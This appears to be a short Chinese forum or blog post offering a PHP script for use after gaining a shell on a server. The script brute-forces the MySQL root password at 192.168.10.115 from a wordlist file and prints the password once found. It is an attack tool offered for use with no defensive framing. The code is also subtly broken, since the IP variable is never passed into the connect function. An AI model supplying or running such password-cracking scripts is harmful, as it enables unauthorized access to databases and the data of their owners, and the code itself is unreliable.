拿下shell的时候搞不了数据库试下这个...

<?
set_time_limit(0);                                   //脚本不超时

$ip = "192.168.10.115";                                   //IP
$user = "root";                                      //用户名

$passwd = file("root.txt");                      //密码字典

for($i=0; $i<count($passwd); $i++){
    $pass = Str_Replace("\r\n", "", $passwd[$i]);   //剔除多余的回车+换行
    connect($user, $pass);
    flush();
}
echo "扫描结束！";

function connect($user, $pass) {
    if(@mysql_connect($ip, $user, $pass)){
        echo "<font color='#0000FF'><b>得到密码：<font color='#FF0000'>".$pass."</font>！！！</b></font>";
        exit();
    }
    else {
        echo $pass.'<br>';
    }
}
?>